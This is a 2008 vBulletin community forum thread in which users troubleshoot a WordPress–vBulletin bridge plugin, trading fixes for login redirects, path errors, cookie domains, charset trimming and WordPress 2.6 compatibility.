Well, one problem here is, there will be no way for the bridge to know if a user is logged in to Vbulletin. Vbulletin uses a cookie method to check login status (as most scripts do). Site1.com can never see site2.com's cookie, ever.. That is just how browsers are built. It is a security issue. You wouldn't want site hackme.com to see your paypal.com cookie would you?
I just do not see any way you are going to be able to do it myself..
trigatch4
06-18-2008, 12:04 AM
Alright folks, I had to freaking HIRE someone to look at the code and it was an EASY fix:
Basically all of the:
-------------------------------------------
$link = get_permalink(somethinghere, true);
-------------------------------------------
SHOULD NOT have that second parameter... "true" and should look like this:
-------------------------------------------
$link = get_permalink(somethinghere);
-------------------------------------------
This was changed 4 times and it fixed all the problems. Why Jafo refused to acknowledge me? I have no clue. Did he know the answer and simply refuse to tell me? Not sure. Why didn't others have this problem?
I think the whole thing is pretty outrageously rude. I understand its a free plugin but he is answering everyone else's questions. I don't get it.
Originally I thought about putting TIPPING you money so you would answer my question but instead I paid that money to a developer. It doesn't pay to be rude. You could have just as easily provided a 1-2 sentence explanation as to why you weren't answering my question in the first place.
I get the impression he is one of those arrogant types who won't admit he doesn't know. Anyhow, thanks for the information, it is really appreciated, although I am using vbdrupa (http://vbdrupal.org/)l instead; this has too many other errors to fuss with.
I returned your PM, Sir. ;)
pspcrazy
06-21-2008, 04:24 AM
Well, one problem here is, there will be no way for the bridge to know if a user is logged in to Vbulletin. Vbulletin uses a cookie method to check login status (as most scripts do). Site1.com can never see site2.com's cookie, ever.. That is just how browsers are built. It is a security issue. You wouldn't want site hackme.com to see your paypal.com cookie would you?
I just do not see any way you are going to be able to do it myself..
So then how would you suggest I do it so it wouldn't be a security issue? I'm still looking for possible idea's. I also tried to have it on site1.com/drama forums are site1.com/forums, but oddly EVEN that didn't work. That wasn't even cross site oddly enough, will it not work unless the wp is on root, and the forums are in higher level folder?
Thanks for the help :)
I'll be fine if I can get it to work on the same site different directory, just can't get that to work either :|
Meaning: 2 wp installation one at: site1.com/ and the other at drama.site1.com, the forum is at site1.com/forums .
Is that doable? Thanks
sokrates4612
06-23-2008, 04:28 PM
I´ve tried to install this wordpress/vbulletin bridge without users integration, but I wasn´t successfull. My admin account in WP crashed and even deleting vbridge.php wasn´t helpfull!
I had to restore my whole wordpress db from backup.
Is there some safe way to use this mod only as a comment solution in wordpress? Without sharing users? Thanks.
drakelord
06-25-2008, 07:02 PM
Awesome plugin, works great!
I only have one question! Is it possible to make it so that the only board that can be posted to is the default? Like, right now, there is a list of all the boards that can be posted to, but I only want it to post to the default board. Is this possible?
Guest201202001
06-26-2008, 12:46 PM
is this going to work with my site? my forum is in the root so where must i install dhe wordpress in a another folder or in root so my forum is in: www.myforum.com
drakelord
06-26-2008, 05:56 PM
Ignore my question, I figured it out~
SoloX
06-28-2008, 05:07 PM
I feel such a retard. Posted the following inquiry in the old 3.6 mod. Can someone help me for 3.7 version? pweasee.
This is by far the best mod for VB i have come across. Simply brialliant.
One last thing I would like to to do is to show VB avatars next to WP comments. I am not using VB comments. How would I go about showing VB avatars in WP comments?
Thanks
Aurore
06-28-2008, 08:13 PM
Was working well until I installed vbadvanced...
Anyone tried with vbadvanced installed on a vbulletin ?
aramiK89
06-29-2008, 10:40 AM
Hey, just need to check - once this is added it won't give birth to the security token error?
Has the line of code been added so that it works with the security token feature?
Just been having a lot of issues with this + mods
Thanks!
decryption
07-04-2008, 02:23 AM
Can this plugin work in a fashion like so (on the same VB/WP install):
I create a Wordpress post, select which forum the post is to go into (say, Cat Forum) and have it appear as a new thread in that forum. Then create another post in Wordpress and select a different forum (Dog Forum) and have it appear as a new thread in that forum?
SoloX
07-09-2008, 02:03 AM
One last thing I would like to to do is to show VB avatars next to WP comments. I am not using VB comments. How would I go about showing VB avatars in WP comments?
anyone? please.
GoodOmens
07-11-2008, 01:08 PM
Any way for additional group users to be mapped the same as primary group users?
If there is a conflict go with the highest rights?
10ECGator
07-11-2008, 06:30 PM
works like a charm and easy to install
*clicks MoTM nominate button*
Fraik
07-15-2008, 04:07 PM
Can this plugin work in a fashion like so (on the same VB/WP install):
I create a Wordpress post, select which forum the post is to go into (say, Cat Forum) and have it appear as a new thread in that forum. Then create another post in Wordpress and select a different forum (Dog Forum) and have it appear as a new thread in that forum?
Yes, you can select a forum to post in from an easy menu in your normal 'write post' screen in wordpres :)
magmf
07-15-2008, 10:22 PM
any info about if this will work on wordpress 2.6 ?
bdude
07-16-2008, 05:25 AM
I'm trying to install this and I got to the edit users screen and get the following error:
Fatal error: Call to a member function query_read() on a non-object in {PATH}/wordpress/wp-content/plugins/vbbridge.php on line 318
GoodOmens
07-16-2008, 04:20 PM
This seems to work with Wordpress 2.6
onkelpac
07-16-2008, 05:19 PM
i can't integrate that comment system at my site. i am quick new in this so i can't find the right place for editing the comment section. i actually have a fresh 2.6 installation. can someone gimme a tip please where i can find it ?
the "<?php wp_link_pages(); ?>
<!-- <?php comments_popup_link(__('0 Comments'), __('1 Comments'), __('% Comments')); ?>" code i can't find in any template. i use the 2.6 default skin.
thank you
moethelawn
07-16-2008, 05:47 PM
Just to let everyone know, I upgraded from Wordpress 2.5.1 to 2.6 and it works fine. It should be safe :)
GoodOmens
07-17-2008, 01:26 AM
Is there a good way to pull the Username for the post from the WordPress post rather then from the person who publishes / last edits the post?
When a user is a contributor it seems to pull the user id from the person who hits publish rather then the user who's name is attached to the article.
See http://www.lineagejunkies.com/?p=42 for a example.
citricguy
07-17-2008, 04:26 AM
Will this plugin allow me to use vB variables in the wordpress template? Does it load global.php?
Fraik
07-17-2008, 04:26 PM
I have a problem running wordTube with this plugin on, when I try and use wordTube in combination with this plugin, wordTube does not execute any changes. I cannot add categories, videos or make any other database related changes aside from the plugin options (hard to judge if all of them are getting trough, as I have no videos to test with) it appears to not be able to access the database for as long as I have vBridge enabled in my plugins.
If anyone could help me with this problem it'd be much appreciated!
Thanks,
Freek
Posted this question in the 3.6 thread, maybe someone can help it here.
With regard to the above question: no, it does NOT load global.php. As far as I'm aware it is a stricly database integration.
I think it would be awesome if polls could be integrated as well, but I'm not complaining thus far :)
magmf
07-18-2008, 01:17 PM
it's not working well on wordpress 2.6 when my users try access /wp-admin/ they are directed to /forums/ but they are logged in.
irina.
07-18-2008, 05:16 PM
I have a question, is it possible to show the dashboard of wordpress just to a usergroup of vbulletin?
It's because I only want to show the link of the dashboard for those who are going to write articles and stuff.
Which is the code?
And also, a custom login form to put in the index site instead of logging in by the forums?
GoodOmens
07-20-2008, 04:30 AM
I'm starting to get fairly happy with this.
Check out lineagejunkies.com (http://lineagejunkies.com) for a demo .... I've got navbits working with the site!
Everything seems to be falling fairly well into place.
Now just got to get status working ....
Thanks for the great plugin!
SLR722
07-20-2008, 11:03 AM
Hey,
www.site.com - takes you to blog
www.site.com/forum.php - forum
www.site.com/index.php - blog
www.site.com/wp-content/etc
I have vBseo installed.
I cannot login into wordpress, each time I go to /wp-admin
It just redirects to
vbseo.php?vbseourl=wp-login.php&redirect_to=http%253A%252F%252Fwww.site.com%252Fwp-admin%252F
Can you help me? Can I install both wordpress and vb in this same directory and does this mod conflict with vBSEO from crawlability..
ForgotenDynasty
07-20-2008, 01:02 PM
Im a little confused do i install word press first?
and their no xml file for me to inport in to my plugins their for it doesn't show up
tommac3
07-20-2008, 01:17 PM
I dont think that this works with the new version of wordpress. wordpress 2.6
Plugin could not be activated because it triggered a fatal error.
No description
tommac3
07-20-2008, 01:37 PM
I dont think that this works with the new version of wordpress. wordpress 2.6
Plugin could not be activated because it triggered a fatal error.
No description
OK .. fixed but strange ...
when i click on the check box and hit the activate button it doesnt work. BUt I clicked the activate over on the right hand side "activate" and it works why are those different?
GoodOmens
07-20-2008, 04:42 PM
Im a little confused do i install word press first?
and their no xml file for me to inport in to my plugins their for it doesn't show up
All the mods are done on the Wordpress side ... no changes are made to the Vbulletin board at all hence no need for a XML file.
Yes install Wordpress first and be sure to have a admin name different from your Board name. You use the account to do the initial setup.
GoodOmens
07-20-2008, 04:44 PM
Will this plugin allow me to use vB variables in the wordpress template? Does it load global.php?
You need to load global yourself from the template in order to use it.
Not clean but it will work.
Hoffi
07-20-2008, 05:02 PM
Can I use this to Share the Users with different Domains? It's not very Important that they only must Login Once, that might be impossible with two Domains. But all other?
tooler
07-20-2008, 07:27 PM
I'm using it with WP 2.6. Got 3 troubles.
1. Read all, but of course I would like to use www.domain.com for blog and forum.domain.com for forum. Maybe its possible to make WP send cookies via come extra plug/page/plain php/.htaccess at www.domain.com?
2. With www.domain.com/forum plug works, but it does not support pages (not posts). It makes plug almost useless :(, I'm going to use WP as a CMS, not blog.
3. It cant update posts in forum after updating posts in WP, isn't it? :(
Uegnet
07-20-2008, 08:35 PM
i can't integrate that comment system at my site. i am quick new in this so i can't find the right place for editing the comment section. i actually have a fresh 2.6 installation. can someone gimme a tip please where i can find it ?
the "<?php wp_link_pages(); ?>
<!-- <?php comments_popup_link(__('0 Comments'), __('1 Comments'), __('% Comments')); ?>" code i can't find in any template. i use the 2.6 default skin.
thank you
Same here, can't seem to find any of the two lines.
Tho this is a really nice system. The posting from WP to vB works perfect.
ForgotenDynasty
07-20-2008, 10:10 PM
ok i think i understand now but im getting the fallowing error after making a post
http://i177.photobucket.com/albums/w238/forgotendynasty/untitled-33.jpg
Also i don't want this to bring my post over to my forum
i just want to share the database users.
SLR722
07-20-2008, 10:42 PM
Hey I fixed my problem!!!
Can this plugin support vBSEO??
Can we have avatars in the comments??
ForgotenDynasty
07-20-2008, 11:45 PM
Can we have avatars in the comments??
I second that. That would be awsome.
Having the posters avatar off to the left of his post :p
it would also be cool if the search box searched the forums as well as the blogs
and when you clicked usernames it went to their VB account im going to try to figure this out :)
Fraik
07-21-2008, 07:59 AM
I have a problem running wordTube with this plugin on, when I try and use wordTube in combination with this plugin, wordTube does not execute any changes. I cannot add categories, videos or make any other database related changes aside from the plugin options (hard to judge if all of them are getting trough, as I have no videos to test with) it appears to not be able to access the database for as long as I have vBridge enabled in my plugins.
If anyone could help me with this problem it'd be much appreciated!
Thanks,
Freek
Any help? Trying to get this to work for ages :(
SLR722
07-21-2008, 10:31 AM
I second that. That would be awsome.
Having the posters avatar off to the left of his post :p
it would also be cool if the search box searched the forums as well as the blogs
and when you clicked usernames it went to their VB account im going to try to figure this out :)
The search box can be configured to do this. You can have a check box or option choice for Blogs of Forums, and this can be edited in WP > Admin > Themes > Search Form
I will be trying to do this. It would also be good to maybe get Google Custom Search rather than doing that and leave it for a bit so Google indexes it..
The user names can go to the user profile anyway.. You could do
Posted by <a href="/forums/members/<?php the_author(); ?>.html
So if Sarah posted, her avatar or her comment link will go to forums/members/sarah.html
To get this Re-Write rule.. in the forum root, open or make .htaccess
## START MEMBERS PAGE ##
RewriteEngine On
RewriteRule ^/?(/[a-zA-Z0-9]+)$ member.php?username=$1 [L]
## END MEMBERS PAGE ##
:D
ForgotenDynasty
07-22-2008, 02:31 AM
i get this error when ever i try to post something on word press
Warning: require_once(DIR/includes/functions_newpost.php) [function.require-once]: failed to open stream: No such file or directory in /home/ultimate/public_html/forums/includes/class_dm_threadpost.php on line 18
Fatal error: require_once() [function.require]: Failed opening required 'DIR/includes/functions_newpost.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/ultimate/public_html/forums/includes/class_dm_threadpost.php on line 18
i would greatly appreciate it if someone helped i can change my set up in any way possible to make this work
but i am currently running 3.7.2 patch level 1 an wordpress 2.6
EDIT ive tried a clean instillation of both vbulletin 3.7.2 and wordpress 2.6 and i get the same error
i think im installing wordpress wrong
i put it in the same MySQL with wp_ as the prefix or do i do it the same as my vbull?
SLR722
07-23-2008, 06:54 AM
Are you sure you have read the instructions?
The prefix does not matter. Install Wordpress first in
www.x.com/blog
Then install vBulletin in
www.x.com/forums, make two accounts, Guest and a new forum
Now try to install the modification in Wordpress
The prefix is the one you have in vBulletin /includes/config.php
Just copy that prefix into the Prefix option when installing vBulletins modification you do not need to install or copy or worry about WPs prefix. Just use vBulletins prefix and place that in the WP installation page..
:)
magmf
07-23-2008, 11:22 AM
any news about this plugin working with wordpress 2.6 ?? I still with this plugin deactivated because of the problem :(
SLR722
07-23-2008, 05:20 PM
The plugin works with 2.6. Whats the issue poster #131?
magmf
07-23-2008, 05:35 PM
well did you upgraded your wordpress to 2.6 ? and still can login ?? because all my users are directed to forum page but they are authenticated. this started to happen after my upgrade to wordpress 2.6
ForgotenDynasty
07-24-2008, 12:01 AM
Are you sure you have read the instructions?
The prefix does not matter. Install Wordpress first in
www.x.com/blog
Then install vBulletin in
www.x.com/forums, make two accounts, Guest and a new forum
Now try to install the modification in Wordpress
The prefix is the one you have in vBulletin /includes/config.php
Just copy that prefix into the Prefix option when installing vBulletins modification you do not need to install or copy or worry about WPs prefix. Just use vBulletins prefix and place that in the WP installation page..
:)
well ive finally got it to work
however ive run in to a new problem
overtime i try to login to my word-press CP it redirects me to my forums
how can i fix this
Amenadiel
07-24-2008, 02:58 AM
I guess this could have been asked before, but I see there's a lot of pages for this and prior versions so I'll take my chances and ask:
?Don't you think that this mod would hurt google rankings since the articles will exist both in WP url and VB url thus generating duplicated content? This consideration is the only thing stopping me from installing :(
Jafo232
07-24-2008, 01:00 PM
Sorry everyone for being away, just moved to a new home and time is a valuable thing right now. Not sure where everyone is, but if you still have questions, let me know here in this thread.
ForgotenDynasty
07-24-2008, 05:25 PM
I guess this could have been asked before, but I see there's a lot of pages for this and prior versions so I'll take my chances and ask:
?Don't you think that this mod would hurt google rankings since the articles will exist both in WP url and VB url thus generating duplicated content? This consideration is the only thing stopping me from installing :(
Just don't have it set so that it copies over to the Forums thats how i have it (you can also SEO wordpress so you have nothing to loose) IMO
SLR722
07-25-2008, 06:40 AM
Not ignoring you guys, I know there is an issue with 2.6 that's why I never upgrade WP. I only apply changelog patches..
Axiom
07-31-2008, 01:07 PM
there's a way to do a mass conversion of vb users to wp users? i see that sometimes the script will register logged in users as new wp users, but don't seems to happen ever.
Cheers,
Luca
coltz-one
07-31-2008, 05:23 PM
I can get it to find global.php, but when I go to make a new post I just get a blank screen. Does it have to do with the fact I'm using vBSEO?
echamberlain
08-01-2008, 10:12 PM
Hi,
The wordpress blog posts appear in vBulletin, but the html markup appears in the vbulletin post text. Is there a way to convert the html to bbcode during post creation?
alan-kun
08-02-2008, 07:53 PM
I can get it to find global.php, but when I go to make a new post I just get a blank screen. Does it have to do with the fact I'm using vBSEO?
The same thing happened to me, what I did is just replace the vbridge.php file with a new copy (downloaded the zip again) and it worked, it sopped showing blank pages. I'm using WP 2.6 and vBSEO as well.
alan-kun
08-02-2008, 07:57 PM
Hi,
The wordpress blog posts appear in vBulletin, but the html markup appears in the vbulletin post text. Is there a way to convert the html to bbcode during post creation?
In my case, the HTML is automatically converted to bbcode, you can see some calls to the function convert_wysiwyg_html_to_bbcode inside vbridge.php so it's supposed to convert your posts wthout doing anything else. If that doesn't work, you can activate HTML on your forum and if you're concerned about security issues, use this hack (https://vborg.vbsupport.ru/showthread.php?t=96926&highlight=Usergroup+Allow+HTML), it's intended to allow HTML code to specific usergroups and works with VB 3.7.2
Hope that helps.
echamberlain
08-02-2008, 10:25 PM
In my case, the HTML is automatically converted to bbcode, you can see some calls to the function convert_wysiwyg_html_to_bbcode inside vbridge.php so it's supposed to convert your posts wthout doing anything else. If that doesn't work, you can activate HTML on your forum and if you're concerned about security issues, use this hack (https://vborg.vbsupport.ru/showthread.php?t=96926&highlight=Usergroup+Allow+HTML), it's intended to allow HTML code to specific usergroups and works with VB 3.7.2
Hope that helps.
The conversion functions are only called when the post truncation is enabled. My temporary workaround is to set a 10000 character truncation size.
guvner
08-03-2008, 12:01 AM
Alright folks, I had to freaking HIRE someone to look at the code and it was an EASY fix:
Basically all of the:
-------------------------------------------
$link = get_permalink(somethinghere, true);
-------------------------------------------
SHOULD NOT have that second parameter... "true" and should look like this:
-------------------------------------------
$link = get_permalink(somethinghere);
-------------------------------------------
This was changed 4 times and it fixed all the problems. Why Jafo refused to acknowledge me? I have no clue. Did he know the answer and simply refuse to tell me? Not sure. Why didn't others have this problem?.I had exactly the same problem and was unable to solve it locally.
I came here a few minutes ago and saw your post, implemented your suggested fix to vbbridge.php and voila - problem gone.
Thanks very much for sharing your solution! :up:
Mike :)
DefiniteBlue
08-06-2008, 12:25 AM
I had an issue with one of the requirements that limits this mod to be installed on the same subdomain. Luckily, I found a quick-fix solution around the issue:
Wordpress and Vbulletin must use the same domain name.
I setup a blog located at vend123.com/blog but the forums are located at forums.vend123.com. There is an issue with this regarding the domain and that's only because of the vBulletin cookie. The issue is this script needs to access that cookie, but that cookie is registered at forums.vend123.com, which means anything on vend123.com won't be able to access it. To resolve the issue, the cookie needed to be set to .vend123.com (i.e. cross domain cookie). This can be configured within vBulletin's options by going to AdminCP->vBulletin Options->Cookies and HTTP Header Options under Cookie Domain. From the "Suggested Settings" drop-down, select .yourdomain.com. This should solve the problem!
EDIT: Make sure you clear your vBulletin cookie after performing this (just log-out and log back in).
Mors32
08-06-2008, 12:43 AM
Solved both my problems after further investigation. So far so good on 3.7.2 with wordpress 2.6.
Mors32
08-06-2008, 02:45 PM
well ive finally got it to work
however ive run in to a new problem
overtime i try to login to my word-press CP it redirects me to my forums
how can i fix this
I've been seeing this issue as well, if I attempt to login to wp-admin first, it redirects to the forums main site. However, if I login to the forums with an admin account, then go back to WP and try wp-admin again, it will work normally.
ForgotenDynasty
08-07-2008, 05:58 PM
im dieing for someone to release a way to get avatars from the forums and post them next to the comments any one have any idea
and how to login in on the blog instead of needing to be redircted to the forums
EvilChicken
08-07-2008, 07:24 PM
im dieing for someone to release a way to get avatars from the forums and post them next to the comments any one have any idea
Wow man, I worked with trying to solve this problem all day yesterday and I got no where. http://TripleChat.com/ is my website and it uses this mod just perfect now but they one thing I really liked before this mod on wordpress was that avatars...now there are non and I want to find a way to load them.
I was trying to find a way to use the bridge to pull it but i couldn't find a way. I know there should be a way but I just dont have the complete knowlage of php to figure it out.
So I too would like to figure out a way to pull uses Avatars from the forums to the blog.
ForgotenDynasty
08-07-2008, 07:57 PM
Wow man, I worked with trying to solve this problem all day yesterday and I got no where. http://TripleChat.com/ is my website and it uses this mod just perfect now but they one thing I really liked before this mod on wordpress was that avatars...now there are non and I want to find a way to load them.
I was trying to find a way to use the bridge to pull it but i couldn't find a way. I know there should be a way but I just dont have the complete knowlage of php to figure it out.
So I too would like to figure out a way to pull uses Avatars from the forums to the blog.
I know a little php but im not familiar enough with the vbulletin MySQL so i dont know what quarry i would use to get the information
Big Barry
08-09-2008, 03:53 PM
Hi,
I have followed the instructions and all is working perfectly bar one thing. For some reason, when I type posts, it is trimming a lot off of them now. Is there any reason for this?
Thxs,
Barry
GoodOmens
08-11-2008, 01:27 PM
Hi,
I have followed the instructions and all is working perfectly bar one thing. For some reason, when I type posts, it is trimming a lot off of them now. Is there any reason for this?
Thxs,
Barry
This is due to a character encoding mismatch. I assume you are using ISO for wordpress.
In wp-config.php change the following lines:
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
to:
/*define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');*/
Wordpress will work just fine with those lines commented out.
Jafo232
08-12-2008, 02:17 PM
Your path is wrong then, that is why it cannot find the files.
General_
08-12-2008, 07:09 PM
Did anyone this comment modification for Wordpress 2.6 default template? I am not able to find the lines which I have to replace! Is it in comments-popup.php or ... don't know?!
by the way: Did I understand it correctly, that if I use the vB-Engine for comments, the comments are also posted in the thread?
Thanks for your help & Sorry for my bad english ;)
Bradley_Wint
08-13-2008, 04:43 PM
Hi does anyone know how to merge the two databases if I already have my vBulletin running for a long time with a large amount of posts and members, and a fresh install of Wordpress?
joopster
08-15-2008, 03:08 PM
I am having issues with logging out. I click log out in WP and I am redirected to VB but I cannot log out of VB. It just keeps me logged in.
Any ideas? Also, I cannot get the users into WP? I followed the directions but can not get it to work.
Also, how do I completely remove this that way I can try installing it again? The footprint is still in the database...
epolitica
08-19-2008, 07:58 PM
Running vb 3.6.8 and this addon smoothly.
Now I need to upgrade to 3.7.2 PL2, could it cause any problems? (to the functionality of this add-on?)
Thanks.
10ECGator
08-27-2008, 01:08 AM
ok, i have multiple sign ins to my blog. all have admin privileges, but only one is the log in to my vb install. I turned the plug in off......logged out.......went back to /wp-admin and it automatically forwards me to my vb index page.....? How do I turn this thing off and still log into my blog?
10ECGator
08-27-2008, 01:49 AM
ok, after disabling, clearing cookies.....I can not log in to my admin index on the blog; it auto forwards me to my forums......????? HELP! running 3.7.2 and 2.6
10ECGator
08-27-2008, 01:54 AM
never mind, if you turn it off, you can delete it from the directory....will this cause any ill effects?
Jafo232
08-27-2008, 02:01 AM
What will cause ill effects? Not following directions?
SLR722
08-27-2008, 10:19 AM
Can avatars be linked?
ForgotenDynasty
08-30-2008, 10:53 PM
Can avatars be linked?
I have been trying to do this for ever and i cant figure it out.
If the mod creator could look in to this it would be GREATLY appreciated.
cyberhrc
08-31-2008, 01:00 PM
seems like a nice mod..tho i cant make inline comments work on my page
newsitem is posted on forum, but i got separated comments on wordpress page and forum...
in readme there's not much about inline except i have 2 read it which i did :)
also i made necessary changes into template (so now when i click post coment or read comment it transfer me on forum but when i click title of article i see wordpress comments only)
did i missed something?
dreamhost
09-01-2008, 11:17 PM
Installed and working as advertised here, though I have yet to modify my template for the comments. Will get to that later.
One thing I did find though:
When clicking logout on either vb side or wordpress side, I am never logged out of the wordpress part.
I am able to login correctly through vb, and when going to wordpress page I am indeed logged in there so that part works perfectly.
How do I change the logout code on www.mysite.com/wp-login.php?action=logout to actually log me out of wordpress?
6piston
09-02-2008, 08:38 AM
hi anyone,
I've used this amazing plugin for some time now with my Wordpress 2.3 till 2.5 and Vb3.6 and 3.7.2 now.
My question is, have you guys successfully used it with Wordpress 2.61?
Didzi
09-03-2008, 01:40 PM
Fatal error: Class 'vBulletinHook' not found in /home/********/public_html/includes/class_bbcode.php on line 2428
define('DISABLE_HOOKS', true); ?
dreamhost
09-03-2008, 06:11 PM
Ran into another issue, and I'm not sure how to attack it.
I have the mod installed and running properly.
Here's the problem:
When I make a post in wordpress, it indeed does post it to vbulletin in the forum I specify.
However:
If I have any tags in wordpress article like [caption] for the photo, or if I use inserts like [media=1] they show up perfectly in wordpress, meaning they do their job. But... in vb it simply prints out [caption] etc.... so the post looks really really bad in the vb side.
Is there a way to have wordpress send the 'parsed' code over to vb instead of what I actually type in when writing the article?
Things like the [media=1] in wordpress automatically adds the media file defined by #1 into the post and embeds it within a player. Very nice feature. In vb it shows up as [media=1] instead of the player.
I'm just not sure where to go in vb to 'teach' it the commands used in wordpress. Of course if we could just get your add-on to send 'parsed' code over to vb then I wouldn't have to worry about it at all.
any ideas?
if not...
how do I get it to not post to vb when adding an article, and just keep the registration/login bridge operational?
thank you
gersforum@gmail
09-07-2008, 05:03 PM
This would have been good if I could have managed to get it installed, I did try what the initial post suggested. Too hard to install, it didn't like my paths so it can hit the road.
Uninstalled.
echamberlain
09-08-2008, 04:18 PM
Ran into another issue, and I'm not sure how to attack it.
I have the mod installed and running properly.
Here's the problem:
When I make a post in wordpress, it indeed does post it to vbulletin in the forum I specify.
However:
If I have any tags in wordpress article like [caption] for the photo, or if I use inserts like [media=1] they show up perfectly in wordpress, meaning they do their job. But... in vb it simply prints out [caption] etc.... so the post looks really really bad in the vb side.
Is there a way to have wordpress send the 'parsed' code over to vb instead of what I actually type in when writing the article?
any ideas?
I had a similar issue, the workaround is in post 144 (https://vborg.vbsupport.ru/showpost.php?p=1590174&postcount=144).
irina.
09-12-2008, 07:31 AM
I would like to know if there is a way to include a quick registration into the wordpress template, like when putting the information of name, email, url and comment can be used also a registration for the forums?
Or a quick registration in the comments file so it can be faster for the user to comment and everyting. I tried the quickly register on any page with Human Verification Manager but didnt know how to include it to the wordpress template in comments.php
Thanks in advance.
chriskellar
09-16-2008, 07:48 PM
I have a question.
You say it needs to be on the same server, but does it need to share the same database?
Jafo232
09-23-2008, 02:00 AM
No it does not..
2HostMe
09-23-2008, 11:38 AM
Is there someone how can tell me how to use it with vbulletin a sub directory http:// forum. board.com and the WP in http:// www. board.com? or is this totally impossible..:erm:
Regards,
Martin
krike
09-25-2008, 06:21 AM
I receive the following when I post a new story:
Warning: chdir() [function.chdir]: No such file or directory (errno 2) in /var/www/vhosts/iv-designs.org/httpdocs/test/wp-content/plugins/vbbridge.php on line 86
Warning: require_once(./includes/class_dm.php) [function.require-once]: failed to open stream: No such file or directory in /var/www/vhosts/iv-designs.org/httpdocs/test/wp-content/plugins/vbbridge.php on line 92
Fatal error: require_once() [function.require]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/share/pear;') in /var/www/vhosts/iv-designs.org/httpdocs/test/wp-content/plugins/vbbridge.php on line 92
euhhh.... is it something I did wrong?
Jafo232
09-25-2008, 12:18 PM
Please read the part about paths, that is the problem.
krike
09-25-2008, 12:30 PM
the part where I have to hardcode the absolute path? that's what I did, it removed the problems and warnings I had. but now when I post a new story I have that problem. I can edit but not post... and the path is correct I'm sure of that cause I've run the php file "forumpath.php" to find the absolute path.
w1z4rd
09-26-2008, 11:12 AM
Hey Jafo, congrats on what I believe is one of the best vb mods available.
Has anyone else noticed that when you try to upload an image in a wordpress post the iframe redirects to the forum home page? Am I missing something stupid (most likely) or is this a bug?
------------------
If I use the browser upload option instead of the flash upload option it works fine.
Bexter
09-27-2008, 12:20 AM
Just installed this and did the test post, worked fine.
Went to test comments but on the main page it trys searching for $template_hook[navbar_quick_links_menu_pos4]
What could be the problem? :confused:
87394
miloheckport
09-27-2008, 06:42 PM
I have had this mod installed for quite awhile and until this morning I could post new without an issue but now when I try to go to the admin section of wordpress I get directed to the homepage of our forum. So basically I can no longer add new content to wordpress or access the admin section of wordpress. Is there a solution to this issue. The only change that I have made recently to vbulletin was to add a new bbcode for vimeo other than that nothing has changed. Very frustrating. Anyone have a fix or idea to help out. Thanks
pspcrazy
09-27-2008, 07:01 PM
After upgrading to vbulletin 3.7.3 PL1 i got this:
[Sat Sep 27 14:58:51 2008] [error] [client 72.137.157.211] PHP Fatal error: Class 'vBulletinHook' not found in /var/www/vhosts/animecrazy.net/httpdocs/forums/includes/class_bbcode.php on line 2428, referer: http://www.animecrazy.net/category/more-running-anime/pokemon-diamond-and-pearl/
So I had to downgrade my vb now. Can you fix the bug Jeff? thanks
Jafo232
09-29-2008, 03:56 AM
Just disable hooks in the WP plugin. There is a comment in vbbridge.php that shows you how. That will just disable the hook during wp, not vb..
Bexter
09-29-2008, 07:54 AM
I'm sure this mod says supported, not just support for donators.
If it worked, I'd consider donating :rolleyes:
Btw Vahid, how did you downgrade your vb, everything I've been reading says you can't :confused:
w1z4rd
09-29-2008, 08:08 AM
I'm sure this mod says supported, not just support for donators.
If it worked, I'd consider donating :rolleyes:
Btw Vahid, how did you downgrade your vb, everything I've been reading says you can't :confused:
I have this installed on both the latest versions and it works as advertised. Mind you I did a fresh install. I don't know what could be wrong in your particular environment but I believe he gave you some directions to rectify the situation. Have you tried his suggestion?
Bexter
09-29-2008, 08:25 AM
I thought they were aimed at pspcrazy.
Did you use fantastico to install wordpress or upload/install manually?
I've found my images aren't showing in themes either, so I'm doing a manual upload. Never had to before, but ah well. And then I'll try this again, if not I'll create a test site with fresh installs.
w1z4rd
09-29-2008, 08:37 AM
I'm sorry, my bad. I really should get more sleep. I thought it was directed at you but obviously I was wrong. To answer your question though, no I didn't install using fantastico or any other installer. I installed manually. I've always found that while an installer is great to get up and running quickly you end up running into trouble when you try to modify/customize your scripts.
Sorry for the misunderstanding, best of luck. :) I clicked a few of your google ads for the bother lol.
Bexter
09-29-2008, 09:41 AM
Well, I did another fantastico install first, and got wordpress working, and all was looking good. But I still encounter the same problem.
I think I may have pinpointed the problem. Well sort of.
I'm changing one option at a time to see which is the issue and the error reappears after typing in the Forum Relative Path. I've tried forums, /forums, /home/ggnet/gamerstyle/forums (which it clearly isn't that as it doens't even load, just an error message).
Edit, problem solved :D. I had some sleep today lol :p.
The gxbox hack I had, was in the quick links menu, but if it's disabled it works :D.
Now to finish testing though now I've got that sorted :)
ShawneyJ
10-01-2008, 07:17 AM
what a waste of a day lol. piece of crap. congrats Bexter, glad it worked for you ;)
Bexter
10-01-2008, 07:29 AM
Yeah several days later lol. Nah I only spent time yesterday trying to fix it so the other days don't count :).
The code to replace to use vb for comments though doesn't work for me :(.
What was your problem you experienced?
w1z4rd
10-01-2008, 07:40 AM
The code to replace to use vb for comments though doesn't work for me :(.
In what way? I might be able to help. The directions can be a little misleading in that section because some themes use a separate comments template.
sendur
10-01-2008, 05:17 PM
I've got it working, though we had to rewrite half the mod....
Bexter
10-01-2008, 06:11 PM
Basically all of the:
-------------------------------------------
$link = get_permalink(somethinghere, true);
-------------------------------------------
SHOULD NOT have that second parameter... "true" and should look like this:
-------------------------------------------
$link = get_permalink(somethinghere);
-------------------------------------------
I had exactly the same problem and was unable to solve it locally.
I came here a few minutes ago and saw your post, implemented your suggested fix to vbbridge.php and voila - problem gone.
Thanks very much for sharing your solution! :up:
Mike :)
I'm having the same problem also, is it the vbbridge.php file that needs editing?
Hi,
The wordpress blog posts appear in vBulletin, but the html markup appears in the vbulletin post text. Is there a way to convert the html to bbcode during post creation?
In my case, the HTML is automatically converted to bbcode, you can see some calls to the function convert_wysiwyg_html_to_bbcode inside vbridge.php so it's supposed to convert your posts wthout doing anything else. If that doesn't work, you can activate HTML on your forum and if you're concerned about security issues, use this hack (https://vborg.vbsupport.ru/showthread.php?t=96926&highlight=Usergroup+Allow+HTML), it's intended to allow HTML code to specific usergroups and works with VB 3.7.2
Hope that helps.
I'm having the same issue i'll try that out thanks :).
In what way? I might be able to help. The directions can be a little misleading in that section because some themes use a separate comments template.
Well, I've just tried again, to replicate the error message, and works like a charm lol. Even had a separate comments template which I managed to figure out :).
Xtrato
